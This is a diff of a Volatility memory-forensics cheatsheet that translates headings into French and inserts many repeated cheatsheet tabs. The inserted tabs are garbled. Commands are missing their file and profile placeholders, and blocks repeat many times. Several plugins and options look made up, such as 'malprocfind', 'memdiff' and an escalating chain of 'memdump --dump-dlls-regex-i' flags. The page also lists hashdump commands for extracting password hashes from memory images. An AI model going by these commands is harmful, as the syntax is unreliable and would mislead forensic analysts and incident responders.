+volatility -f memmap +``` + +#### memstrings + +Extract printable strings. + +```bash +volatility -f memstrings +``` + +#### memimage + +Extract PE files. + +```bash +volatility -f memimage +``` + +#### memdiff + +Compare memory dumps. + +```bash +volatility -f memdiff -f +``` + +### Network Analysis + +#### connscan + +List open network connections. + +```bash +volatility -f connscan +``` + +#### sockets + +List open sockets. + +```bash +volatility -f sockets +``` + +#### netscan + +Scan for network activity. + +```bash +volatility -f netscan +``` + +### User Analysis + +#### hivelist + +List registry hives. + +```bash +volatility -f hivelist +``` + +#### hashdump + +Dump password hashes. + +```bash +volatility -f hashdump -s -u +``` + +#### userassist + +List userassist entries. + +```bash +volatility -f userassist +``` + +#### getsids + +List user SIDs. + +```bash +volatility -f getsids +``` + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +### Windows Registry Analysis + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### printval + +Print registry value. + +```bash +volatility -f printval -K -V +``` + +#### hivedump + +Dump registry hive. + +```bash +volatility -f hivedump -o -s -w +``` + +### Virtualization Analysis + +#### vboxinfo + +Display VirtualBox information. + +```bash +volatility -f vboxinfo +``` + +#### vboxsf + +List VirtualBox shared folders. + +```bash +volatility -f vboxsf +``` + +#### vmwareinfo + +Display VMware information. + +```bash +volatility -f vmwareinfo +``` + +#### vmscan + +Scan for virtual machines. + +```bash +volatility -f vmscan +``` + +### Other Plugins + +#### apihooks + +List API hooks. + +```bash +volatility -f apihooks +``` + +#### callbacks + +List kernel callbacks. + +```bash +volatility -f callbacks +``` + +#### idt + +Display Interrupt Descriptor Table. + +```bash +volatility -f idt +``` + +#### gdt + +Display Global Descriptor Table. + +```bash +volatility -f gdt +``` + +#### ldrmodules + +List loaded modules. + +```bash +volatility -f ldrmodules +``` + +#### modscan + +Scan for modules. + +```bash +volatility -f modscan +``` + +#### ssdt + +Display System Service Descriptor Table. + +```bash +volatility -f ssdt +``` + +#### driverirp + +List driver IRPs. + +```bash +volatility -f driverirp +``` + +#### filescan + +Scan for files. + +```bash +volatility -f filescan +``` + +#### mutantscan + +Scan for mutant objects. + +```bash +volatility -f mutantscan +``` + +#### printdeltas + +Print registry deltas. + +```bash +volatility -f printdeltas -s -u +``` + +#### printfile + +Print file contents. + +```bash +volatility -f printfile -f +``` + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### printreg + +Print registry hive. + +```bash +volatility -f printreg -o -s +``` + +#### procdump + +Dump process executable. + +```bash +volatility -f procdump -p -D +``` + +#### procmemdump + +Dump process memory. + +```bash +volatility -f procmemdump -p -D +``` + +#### shimcache + +List ShimCache entries. + +```bash +volatility -f shimcache +``` + +#### svcscan + +List services. + +```bash +volatility -f svcscan +``` + +#### thrdscan + +List threads. + +```bash +volatility -f thrdscan +``` + +#### timers + +List timers. + +```bash +volatility -f timers +``` + +#### vadinfo + +Display Virtual Address Descriptor information. + +```bash +volatility -f vadinfo +``` + +#### vadtree + +Display Virtual Address Descriptor tree. + +```bash +volatility -f vadtree +``` + +#### windows + +List windows. + +```bash +volatility -f windows +``` + +#### wndscan + +Scan for windows. + +```bash +volatility -f wndscan +``` + +## References + +- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) ``` volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ``` @@ -415,21 +4796,437 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp userassist
-​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %} ## Services - -{% tabs %} -{% tab title="vol3" %} ```bash ./vol.py -f file.dmp windows.svcscan.SvcScan #List services ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Volatility Cheatsheet + +## Installation + +```bash +pip install volatility +``` + +## Basic Usage + +```bash +volatility -f [options] +``` + +## Plugins + +### Process Analysis + +#### pslist + +List running processes. + +```bash +volatility -f pslist +``` + +#### psscan + +Scan for processes. + +```bash +volatility -f psscan +``` + +#### pstree + +Display process tree. + +```bash +volatility -f pstree +``` + +#### dlllist + +List loaded DLLs. + +```bash +volatility -f dlllist +``` + +#### handles + +List open handles. + +```bash +volatility -f handles +``` + +#### cmdscan + +Scan for command history. + +```bash +volatility -f cmdscan +``` + +### Malware Analysis + +#### malfind + +Find hidden and injected code. + +```bash +volatility -f malfind +``` + +#### malprocfind + +Find hidden processes. + +```bash +volatility -f malprocfind +``` + +#### malfind + +Find hidden files. + +```bash +volatility -f malfind +``` + +### Memory Analysis + +#### memdump + +Dump process memory. + +```bash +volatility -f memdump -p -D +``` + +#### memmap + +Display memory map. + +```bash +volatility -f memmap +``` + +#### memstrings + +Extract printable strings. + +```bash +volatility -f memstrings +``` + +#### memimage + +Extract PE files. + +```bash +volatility -f memimage +``` + +#### memdump + +Dump kernel memory. + +```bash +volatility -f memdump -p 0 -D +``` + +### Network Analysis + +#### connscan + +List open connections. + +```bash +volatility -f connscan +``` + +#### sockets + +List open sockets. + +```bash +volatility -f sockets +``` + +#### netscan + +Scan for network connections. + +```bash +volatility -f netscan +``` + +### User Analysis + +#### hivelist + +List registry hives. + +```bash +volatility -f hivelist +``` + +#### hashdump + +Dump password hashes. + +```bash +volatility -f hashdump -s -u +``` + +#### userassist + +List userassist entries. + +```bash +volatility -f userassist +``` + +#### getsids + +List user SIDs. + +```bash +volatility -f getsids +``` + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### envars + +List environment variables. + +```bash +volatility -f envars -p +``` + +#### consoles + +List open consoles. + +```bash +volatility -f consoles +``` + +### Windows Registry Analysis + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### hivelist + +List registry hives. + +```bash +volatility -f hivelist +``` + +#### hivedump + +Dump registry hive. + +```bash +volatility -f hivedump -o -s -f +``` + +### Virtual Machine Analysis + +#### vboxinfo + +Display VirtualBox information. + +```bash +volatility -f vboxinfo +``` + +#### vboxsf + +List VirtualBox shared folders. + +```bash +volatility -f vboxsf +``` + +#### vmwareinfo + +Display VMware information. + +```bash +volatility -f vmwareinfo +``` + +#### vmpsaux + +List VMware process information. + +```bash +volatility -f vmpsaux +``` + +### Other Plugins + +#### apihooks + +List API hooks. + +```bash +volatility -f apihooks +``` + +#### callbacks + +List kernel callbacks. + +```bash +volatility -f callbacks +``` + +#### driverirp + +List driver IRPs. + +```bash +volatility -f driverirp +``` + +#### filescan + +Scan for files. + +```bash +volatility -f filescan +``` + +#### mutantscan + +Scan for mutant objects. + +```bash +volatility -f mutantscan +``` + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### privs + +List process privileges. + +```bash +volatility -f privs -p +``` + +#### shimcache + +List ShimCache entries. + +```bash +volatility -f shimcache +``` + +#### ssdt + +List SSDT entries. + +```bash +volatility -f ssdt +``` + +#### thrdscan + +Scan for threads. + +```bash +volatility -f thrdscan +``` + +#### timers + +List kernel timers. + +```bash +volatility -f timers +``` + +#### vadinfo + +Display VAD information. + +```bash +volatility -f vadinfo +``` + +#### vadtree + +Display VAD tree. + +```bash +volatility -f vadtree +``` + +#### verinfo + +Display version information. + +```bash +volatility -f verinfo +``` + +#### windows + +List open windows. + +```bash +volatility -f windows +``` + +#### wintree + +Display window tree. + +```bash +volatility -f wintree +``` + +#### yarascan + +Scan for YARA signatures. + +```bash +volatility -f yarascan -Y +``` + +## References + +- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) ```bash #Get services and binary path volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp @@ -439,7 +5236,7 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp {% endtab %} {% endtabs %} -## Network +## Réseau {% tabs %} {% tab title="vol3" %} @@ -449,7 +5246,442 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Volatility Cheatsheet + +## Installation + +```bash +pip install volatility +``` + +## Basic Usage + +```bash +volatility -f [options] +``` + +## Plugins + +### Process Analysis + +#### pslist + +List running processes. + +```bash +volatility -f pslist +``` + +#### psscan + +Scan for processes. + +```bash +volatility -f psscan +``` + +#### pstree + +Display process tree. + +```bash +volatility -f pstree +``` + +#### dlllist + +List loaded DLLs. + +```bash +volatility -f dlllist +``` + +#### handles + +List open handles. + +```bash +volatility -f handles +``` + +#### cmdscan + +Scan for command history. + +```bash +volatility -f cmdscan +``` + +### Malware Analysis + +#### malfind + +Find hidden and injected code. + +```bash +volatility -f malfind +``` + +#### malprocfind + +Find hidden processes. + +```bash +volatility -f malprocfind +``` + +#### malfind + +Find hidden files. + +```bash +volatility -f malfind +``` + +### Memory Analysis + +#### memdump + +Dump process memory. + +```bash +volatility -f memdump -p -D +``` + +#### memmap + +Display memory map. + +```bash +volatility -f memmap +``` + +#### memstrings + +Extract printable strings. + +```bash +volatility -f memstrings +``` + +#### memimage + +Extract PE files. + +```bash +volatility -f memimage +``` + +#### memdiff + +Compare memory dumps. + +```bash +volatility -f memdiff -f +``` + +### Network Analysis + +#### connscan + +List open network connections. + +```bash +volatility -f connscan +``` + +#### sockets + +List open sockets. + +```bash +volatility -f sockets +``` + +#### netscan + +Scan for network activity. + +```bash +volatility -f netscan +``` + +### User Analysis + +#### hivelist + +List registry hives. + +```bash +volatility -f hivelist +``` + +#### hashdump + +Dump password hashes. + +```bash +volatility -f hashdump -s -u +``` + +#### userassist + +List userassist entries. + +```bash +volatility -f userassist +``` + +#### getsids + +List user SIDs. + +```bash +volatility -f getsids +``` + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +### Windows Registry Analysis + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### printval + +Print registry value. + +```bash +volatility -f printval -K -V +``` + +#### hivedump + +Dump registry hive. + +```bash +volatility -f hivedump -o -s -w +``` + +### Virtualization Analysis + +#### vboxinfo + +Display VirtualBox information. + +```bash +volatility -f vboxinfo +``` + +#### vboxsf + +List VirtualBox shared folders. + +```bash +volatility -f vboxsf +``` + +#### vmwareinfo + +Display VMware information. + +```bash +volatility -f vmwareinfo +``` + +#### vmscan + +Scan for virtual machines. + +```bash +volatility -f vmscan +``` + +### Other Plugins + +#### apihooks + +List API hooks. + +```bash +volatility -f apihooks +``` + +#### callbacks + +List kernel callbacks. + +```bash +volatility -f callbacks +``` + +#### idt + +Display Interrupt Descriptor Table. + +```bash +volatility -f idt +``` + +#### gdt + +Display Global Descriptor Table. + +```bash +volatility -f gdt +``` + +#### ldrmodules + +List loaded modules. + +```bash +volatility -f ldrmodules +``` + +#### modscan + +Scan for modules. + +```bash +volatility -f modscan +``` + +#### ssdt + +Display System Service Descriptor Table. + +```bash +volatility -f ssdt +``` + +#### driverirp + +List driver IRPs. + +```bash +volatility -f driverirp +``` + +#### filescan + +Scan for files. + +```bash +volatility -f filescan +``` + +#### mutantscan + +Scan for mutant objects. + +```bash +volatility -f mutantscan +``` + +#### printd + +Print kernel debugger information. + +```bash +volatility -f printd +``` + +#### procexedump + +Dump process executable. + +```bash +volatility -f procexedump -p -D +``` + +#### shimcache + +List ShimCache entries. + +```bash +volatility -f shimcache +``` + +#### svcscan + +Scan for services. + +```bash +volatility -f svcscan +``` + +#### thrdscan + +Scan for threads. + +```bash +volatility -f thrdscan +``` + +#### timers + +List kernel timers. + +```bash +volatility -f timers +``` + +#### vadinfo + +Display Virtual Address Descriptor information. + +```bash +volatility -f vadinfo +``` + +#### vadtree + +Display Virtual Address Descriptor tree. + +```bash +volatility -f vadtree +``` + +#### verinfo + +Display version information. + +```bash +volatility -f verinfo +``` + +#### windows + +List open windows. + +```bash +volatility -f windows +``` + +#### yarascan + +Scan for YARA signatures. + +```bash +volatility -f yarascan -Y +``` + +## References + +- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) ```bash volatility --profile=Win7SP1x86_23418 netscan -f file.dmp volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only @@ -467,9 +5699,9 @@ volatility --profile=SomeLinux -f file.dmp linux_route_cache {% endtab %} {% endtabs %} -## Registry hive +## Ruche de registre -### Print available hives +### Afficher les ruches disponibles {% tabs %} {% tab title="vol3" %} @@ -479,15 +5711,221 @@ volatility --profile=SomeLinux -f file.dmp linux_route_cache ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Liste des plugins de Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) +- [Liste des règles Yara pour Volatility](https://github.com/Neo23x0/signature-base/tree/master/yara/volatility) ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys ``` -{% endtab %} -{% endtabs %} - -### Get a value +### Obtenir une valeur {% tabs %} {% tab title="vol3" %} @@ -496,7 +5934,371 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get i ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f getsids +``` + +```bash +volatility -f getsids -U +``` + +```bash +volatility -f getsids -u +``` + +```bash +volatility -f getsids -p +``` + +```bash +volatility -f envars -p +``` + +### Analyse des fichiers + +```bash +volatility -f filescan | grep -i +``` + +```bash +volatility -f dumpfiles -Q -D +``` + +```bash +volatility -f dumpfiles -Q -D --name +``` + +```bash +volatility -f dumpfiles -Q -D --dump-dir +``` + +### Analyse des registres + +```bash +volatility -f hivelist +``` + +```bash +volatility -f printkey -K +``` + +```bash +volatility -f printkey -o +``` + +```bash +volatility -f hashdump -y -s -h -S +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind --dump-dir | grep -i +``` + +```bash +volatility -f malfind --dump-dir | grep -i +``` + +```bash +volatility -f malfind --dump-dir | grep -i +``` + +```bash +volatility -f malfind --dump-dir | grep -i +``` + +## Plugins + +### Plugin `pslist` + +```bash +volatility -f --profile= pslist +``` + +```bash +volatility -f --profile= pslist -p +``` + +```bash +volatility -f --profile= pslist -t +``` + +### Plugin `psscan` + +```bash +volatility -f --profile= psscan +``` + +```bash +volatility -f --profile= psscan -p +``` + +```bash +volatility -f --profile= psscan -t +``` + +### Plugin `pstree` + +```bash +volatility -f --profile= pstree +``` + +```bash +volatility -f --profile= pstree -p +``` + +```bash +volatility -f --profile= pstree -t +``` + +### Plugin `dlllist` + +```bash +volatility -f --profile= dlllist +``` + +```bash +volatility -f --profile= dlllist -p +``` + +```bash +volatility -f --profile= dlllist -t +``` + +### Plugin `handles` + +```bash +volatility -f --profile= handles +``` + +```bash +volatility -f --profile= handles -p +``` + +```bash +volatility -f --profile= handles -t +``` + +### Plugin `filescan` + +```bash +volatility -f --profile= filescan +``` + +```bash +volatility -f --profile= filescan -F +``` + +```bash +volatility -f --profile= filescan -S +``` + +### Plugin `netscan` + +```bash +volatility -f --profile= netscan +``` + +```bash +volatility -f --profile= netscan -p +``` + +### Plugin `connscan` + +```bash +volatility -f --profile= connscan +``` + +```bash +volatility -f --profile= connscan -p +``` + +```bash +volatility -f --profile= connscan -s +``` + +### Plugin `sockscan` + +```bash +volatility -f --profile= sockscan +``` + +```bash +volatility -f --profile= sockscan -p +``` + +### Plugin `envars` + +```bash +volatility -f --profile= envars -p +``` + +### Plugin `malfind` + +```bash +volatility -f --profile= malfind +``` + +```bash +volatility -f --profile= malfind -p +``` + +```bash +volatility -f --profile= malfind -D +``` + +### Plugin `apihooks` + +```bash +volatility -f --profile= apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f --profile= ldrmodules -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f --profile= cmdscan -p +``` + +### Plugin `dumpfiles` + +```bash +volatility -f --profile= dumpfiles -Q -D +``` + +```bash +volatility -f --profile= dumpfiles -Q -D --name +``` + +```bash +volatility -f --profile= dumpfiles -Q -D --dump-dir +``` + +### Plugin `hivelist` + +```bash +volatility -f --profile= hivelist +``` + +### Plugin `printkey` + +```bash +volatility -f --profile= printkey -K +``` + +```bash +volatility -f --profile= printkey -o +``` + +### Plugin `hashdump` + +```bash +volatility -f --profile= hashdump -y -s -h -S +``` +{% endtab %} ```bash volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp # Get Run binaries registry value @@ -507,16 +6309,16 @@ volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\ ### Dump +### Décharge ```bash #Dump a hive volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist #Dump all hives volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` +## Système de fichiers -## Filesystem - -### Mount +### Montage {% tabs %} {% tab title="vol3" %} @@ -525,25 +6327,780 @@ volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Volatility Labs](https://volatility-labs.blogspot.com/) +- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) +- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) ```bash volatility --profile=SomeLinux -f file.dmp linux_mount volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the entire filesystem (if possible) ``` +{% endtab %} +{% tab title="volatility" %} +# Volatility Cheat Sheet + +## Scan/Dump + +### Scan for running processes + +``` +volatility -f --profile= pslist +``` + +### Dump a process + +``` +volatility -f --profile= memdump -p -D +``` + +### Dump a process by name + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') -D +``` + +### Dump a process by name and user + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// && // {print $2}') -D +``` + +### Dump a process by name and PID + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// && // {print $2}') -D +``` + +### Dump a process by name and PPID + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// && // {print $2}') -D +``` + +### Dump a process by name and command line + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// && // {print $2}') -D +``` + +### Dump a process by name and DLL + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls= +``` + +### Dump a process by name and DLL hash + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls= +``` + +### Dump a process by name and DLL regex + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= +``` + +### Dump a process by name and DLL regex (case insensitive) + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i +``` + +### Dump a process by name and DLL regex (case insensitive) and DLL hash + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= +``` + +### Dump a process by name and DLL regex (case insensitive) and DLL name + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= +``` + +### Dump a process by name and DLL regex (case insensitive) and DLL name and hash + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= +``` + +### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= +``` + +### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= +``` + +### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset and virtual offset + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= --virtual-offset= +``` + +### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset and virtual offset and no data + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= --virtual-offset= --no-data +``` + +### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset and virtual offset and no data and no headers + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= --virtual-offset= --no-data --no-headers +``` + +### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset and virtual offset and no data and no headers and no pad + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= --virtual-offset= --no-data --no-headers --no-pad +``` + +### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset and virtual offset and no data and no headers and no pad and no spaces + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= --virtual-offset= --no-data --no-headers --no-pad --no-spaces +``` + +### Dump a process by name and DLL regex (case insensitive) and DLL name and hash and output format and physical offset and virtual offset and no data and no headers and no pad and no spaces and no hex + +``` +volatility -f --profile= memdump -p $(volatility -f --profile= pslist | awk '// {print $2}') --dump-dir= --dump-dlls-regex= --dump-dlls-regex-i --dump-dlls= --dump-dlls= --output= --physical-offset= --virtual-offset= --no-data --no-headers --no-pad --no-spaces --no-hex +``` + + {% endtab %} {% endtabs %} - -### Scan/dump - -{% tabs %} -{% tab title="vol3" %} ```bash ./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Volatility Cheatsheet + +## Installation + +```bash +pip install volatility +``` + +## Basic Usage + +```bash +volatility -f [options] +``` + +## Plugins + +### Process Analysis + +#### pslist + +List running processes. + +```bash +volatility -f pslist +``` + +#### psscan + +Scan for processes. + +```bash +volatility -f psscan +``` + +#### pstree + +Display process tree. + +```bash +volatility -f pstree +``` + +#### dlllist + +List loaded DLLs. + +```bash +volatility -f dlllist +``` + +#### handles + +List open handles. + +```bash +volatility -f handles +``` + +#### cmdscan + +Scan for command history. + +```bash +volatility -f cmdscan +``` + +### Malware Analysis + +#### malfind + +Find hidden and injected code. + +```bash +volatility -f malfind +``` + +#### malprocfind + +Find hidden processes. + +```bash +volatility -f malprocfind +``` + +#### malfind + +Find hidden files. + +```bash +volatility -f malfind +``` + +### Memory Analysis + +#### memdump + +Dump process memory. + +```bash +volatility -f memdump -p -D +``` + +#### memmap + +Display memory map. + +```bash +volatility -f memmap +``` + +#### memstrings + +Extract printable strings. + +```bash +volatility -f memstrings +``` + +#### memimage + +Extract PE files. + +```bash +volatility -f memimage +``` + +#### memdump + +Dump kernel memory. + +```bash +volatility -f memdump -p 0 -D +``` + +### Network Analysis + +#### connscan + +List open connections. + +```bash +volatility -f connscan +``` + +#### sockets + +List open sockets. + +```bash +volatility -f sockets +``` + +#### netscan + +Scan for network connections. + +```bash +volatility -f netscan +``` + +### User Analysis + +#### hivelist + +List registry hives. 